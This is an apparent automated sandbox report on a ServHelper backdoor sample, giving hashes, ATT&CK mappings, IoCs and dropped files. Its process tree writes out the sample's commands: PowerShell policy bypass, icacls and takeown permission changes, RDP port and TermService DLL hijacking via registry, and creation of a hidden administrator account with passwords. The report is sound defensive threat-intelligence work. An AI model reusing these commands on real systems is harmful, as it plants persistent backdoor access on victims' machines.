servhelper | d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c

Analysis

max time kernel
132s
max time network
78s
platform
windows7_x64
resource
win7-20220414-en
submitted
24-05-2022 14:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
Size

2.6MB
MD5

46ee7635d56bce4a798e33210c550229
SHA1

a937c3d1e97ea40d61c1f8a53310632044a57a84
SHA256

d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c
SHA512

76bdc9cde357e775e30b8bff22763142b709f035239b0b02fc8f4c26f84cbddc0a1ae928ae9d6eb73dbeec33b438584afc15fb1f64f0e1b52df89cf5003fea5a

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1728	icacls.exe
1848	icacls.exe
1800	icacls.exe
784	icacls.exe
1660	icacls.exe
1512	icacls.exe
1808	icacls.exe
1600	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00090000000122da-92.dat	upx
behavioral1/files/0x000c0000000122dc-93.dat	upx

Deletes itself 1 IoCs

pid	Process
1696	powershell.exe

Loads dropped DLL 8 IoCs

pid	Process
536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
1644	Process not Found
1644	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1800	icacls.exe
784	icacls.exe
1660	icacls.exe
1512	icacls.exe
1808	icacls.exe
1600	takeown.exe
1728	icacls.exe
1848	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1356	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1176	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
460	Process not Found
1644	Process not Found
1644	Process not Found
1644	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeRestorePrivilege	1848	icacls.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 1428	536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe	28
PID 536 wrote to memory of 1428	536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe	28
PID 536 wrote to memory of 1428	536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe	28
PID 536 wrote to memory of 1428	536	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe	28
PID 1428 wrote to memory of 1356	1428	cmd.exe	30
PID 1428 wrote to memory of 1356	1428	cmd.exe	30
PID 1428 wrote to memory of 1356	1428	cmd.exe	30
PID 1428 wrote to memory of 1696	1428	cmd.exe	31
PID 1428 wrote to memory of 1696	1428	cmd.exe	31
PID 1428 wrote to memory of 1696	1428	cmd.exe	31
PID 1696 wrote to memory of 1600	1696	powershell.exe	33
PID 1696 wrote to memory of 1600	1696	powershell.exe	33
PID 1696 wrote to memory of 1600	1696	powershell.exe	33
PID 1696 wrote to memory of 1728	1696	powershell.exe	34
PID 1696 wrote to memory of 1728	1696	powershell.exe	34
PID 1696 wrote to memory of 1728	1696	powershell.exe	34
PID 1696 wrote to memory of 1848	1696	powershell.exe	35
PID 1696 wrote to memory of 1848	1696	powershell.exe	35
PID 1696 wrote to memory of 1848	1696	powershell.exe	35
PID 1696 wrote to memory of 1800	1696	powershell.exe	36
PID 1696 wrote to memory of 1800	1696	powershell.exe	36
PID 1696 wrote to memory of 1800	1696	powershell.exe	36
PID 1696 wrote to memory of 784	1696	powershell.exe	37
PID 1696 wrote to memory of 784	1696	powershell.exe	37
PID 1696 wrote to memory of 784	1696	powershell.exe	37
PID 1696 wrote to memory of 1660	1696	powershell.exe	38
PID 1696 wrote to memory of 1660	1696	powershell.exe	38
PID 1696 wrote to memory of 1660	1696	powershell.exe	38
PID 1696 wrote to memory of 1512	1696	powershell.exe	39
PID 1696 wrote to memory of 1512	1696	powershell.exe	39
PID 1696 wrote to memory of 1512	1696	powershell.exe	39
PID 1696 wrote to memory of 1808	1696	powershell.exe	40
PID 1696 wrote to memory of 1808	1696	powershell.exe	40
PID 1696 wrote to memory of 1808	1696	powershell.exe	40
PID 1696 wrote to memory of 380	1696	powershell.exe	41
PID 1696 wrote to memory of 380	1696	powershell.exe	41
PID 1696 wrote to memory of 380	1696	powershell.exe	41
PID 1696 wrote to memory of 1176	1696	powershell.exe	42
PID 1696 wrote to memory of 1176	1696	powershell.exe	42
PID 1696 wrote to memory of 1176	1696	powershell.exe	42
PID 1696 wrote to memory of 964	1696	powershell.exe	43
PID 1696 wrote to memory of 964	1696	powershell.exe	43
PID 1696 wrote to memory of 964	1696	powershell.exe	43
PID 1696 wrote to memory of 556	1696	powershell.exe	44
PID 1696 wrote to memory of 556	1696	powershell.exe	44
PID 1696 wrote to memory of 556	1696	powershell.exe	44
PID 556 wrote to memory of 1332	556	net.exe	45
PID 556 wrote to memory of 1332	556	net.exe	45
PID 556 wrote to memory of 1332	556	net.exe	45
PID 1696 wrote to memory of 1836	1696	powershell.exe	46
PID 1696 wrote to memory of 1836	1696	powershell.exe	46
PID 1696 wrote to memory of 1836	1696	powershell.exe	46
PID 1836 wrote to memory of 1788	1836	cmd.exe	47
PID 1836 wrote to memory of 1788	1836	cmd.exe	47
PID 1836 wrote to memory of 1788	1836	cmd.exe	47
PID 1788 wrote to memory of 1072	1788	cmd.exe	48
PID 1788 wrote to memory of 1072	1788	cmd.exe	48
PID 1788 wrote to memory of 1072	1788	cmd.exe	48
PID 1072 wrote to memory of 700	1072	net.exe	49
PID 1072 wrote to memory of 700	1072	net.exe	49
PID 1072 wrote to memory of 700	1072	net.exe	49
PID 1696 wrote to memory of 864	1696	powershell.exe	50
PID 1696 wrote to memory of 864	1696	powershell.exe	50
PID 1696 wrote to memory of 864	1696	powershell.exe	50

C:\Users\Admin\AppData\Local\Temp\d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
"C:\Users\Admin\AppData\Local\Temp\d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\system32\timeout.exe
    timeout -t 15
    3⤵
    - Delays execution with timeout.exe
    PID:1356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1
    3⤵
    - Deletes itself
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1600
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1728
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1848
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1800
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:784
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1660
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1512
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1808
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:380
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1176
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:964
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:556
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1332
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1836
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1788
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1072
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:700
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:864
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:604
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:928
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:896
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1592
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1748

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1720
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1748
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1144

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 1agVsZNg /add
1⤵
PID:2028
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 1agVsZNg /add
  2⤵
  PID:1732

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc 1agVsZNg /add
1⤵
PID:276

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:976
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1640

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" TBHNEBSE$ /ADD
1⤵
PID:540
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" TBHNEBSE$ /ADD
  2⤵
  PID:1068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" TBHNEBSE$ /ADD
    3⤵
    PID:1512

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1996
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1932

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 1agVsZNg
1⤵
PID:1332
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 1agVsZNg
  2⤵
  PID:1668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1agVsZNg
    3⤵
    PID:1392

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1

Filesize
3.0MB

MD5
bf9c5777512bf9b80299ef6e73ce7d1f

SHA1
9d3dc8f71effeaa22ac82ff7193b5b0677a41f96

SHA256
2dbb446acc41e5cf2338cb2c0a58171965855fc8cd2f9acb128c4788583da6ef

SHA512
1b23ea2bd3c40052ef95c43037fa6cb7a25695ded8a4fcb4d43bb0abe2773ad884dfe49504bf1d73fe633305452a150426027e631fd98a0edbcf1ec36ce36940

Download Submit
C:\Users\Admin\AppData\Local\Temp\uninst.dat.log

Filesize
102B

MD5
cfb0d53c55c998ebb7276c99fef6fc6c

SHA1
2613891681d4462c2660e118093c55c94ab121c7

SHA256
c7fa1fc308bfce295ab799b6bb277f879210f8790792353569d86861645e6415

SHA512
60493755ddf8314384fea61b63882601537a3ddc88e3904b7b0aa2eb30681bafb6ab41db9c62f37737f24e8d93b752c09b5b26f181b55e6dc6e221c710bc0c8a

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\System.dll

Filesize
11KB

MD5
fbe295e5a1acfbd0a6271898f885fe6a

SHA1
d6d205922e61635472efb13c2bb92c9ac6cb96da

SHA256
a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

SHA512
2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

Download Submit
\Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\nsUnzip.dll

Filesize
146KB

MD5
77a26c23948070dc012bba65e7f390aa

SHA1
7e112775770f9b3b24e2a238b5f7c66f8802e5d8

SHA256
4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

SHA512
2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

Download Submit
\Windows\Branding\mediasrv.png

Filesize
55KB

MD5
8307a6e5068b13a285978a3348d87941

SHA1
6f6247a111267c1464a78355258ca1a1099829ac

SHA256
829bfc5aa4f18306b3983daa58f011dd80f996c1472ed35059a4551b29b97a9c

SHA512
b61687547177ec16f88a0a6be14585db77579f3434096bb583a0b8c4c0d949d3bfa085c930c4b607dfc6ad2f51b52745b5c2fc32a0318781c32295b62aaad63a

Download Submit
\Windows\Branding\mediasvc.png

Filesize
946KB

MD5
307dd4c38d17e840052989517777f8a6

SHA1
4955a0874e3a48adf1d13cfa2dde3b1f5116ab99

SHA256
1137c49d383a9c2d1f9761bc586d12575bac535948e7e15606c8dac04aa1e890

SHA512
87c14563141be1383de8cf2f5adfab8fdee08f38d3941485b489b8a62e50f98598206ce3a7d5fdb804ca27231d384cfaed26e1363fe83ce4812f8f2be40727a3

Download Submit
memory/536-54-0x0000000075B61000-0x0000000075B63000-memory.dmp

Filesize
8KB

Download
memory/1696-64-0x000007FEFB721000-0x000007FEFB723000-memory.dmp

Filesize
8KB

Download
memory/1696-66-0x000007FEF2870000-0x000007FEF33CD000-memory.dmp

Filesize
11.4MB

Download
memory/1696-67-0x0000000002324000-0x0000000002327000-memory.dmp

Filesize
12KB

Download
memory/1696-69-0x000000000232B000-0x000000000234A000-memory.dmp

Filesize
124KB

Download
memory/1696-65-0x000007FEF33D0000-0x000007FEF3DF3000-memory.dmp

Filesize
10.1MB

Download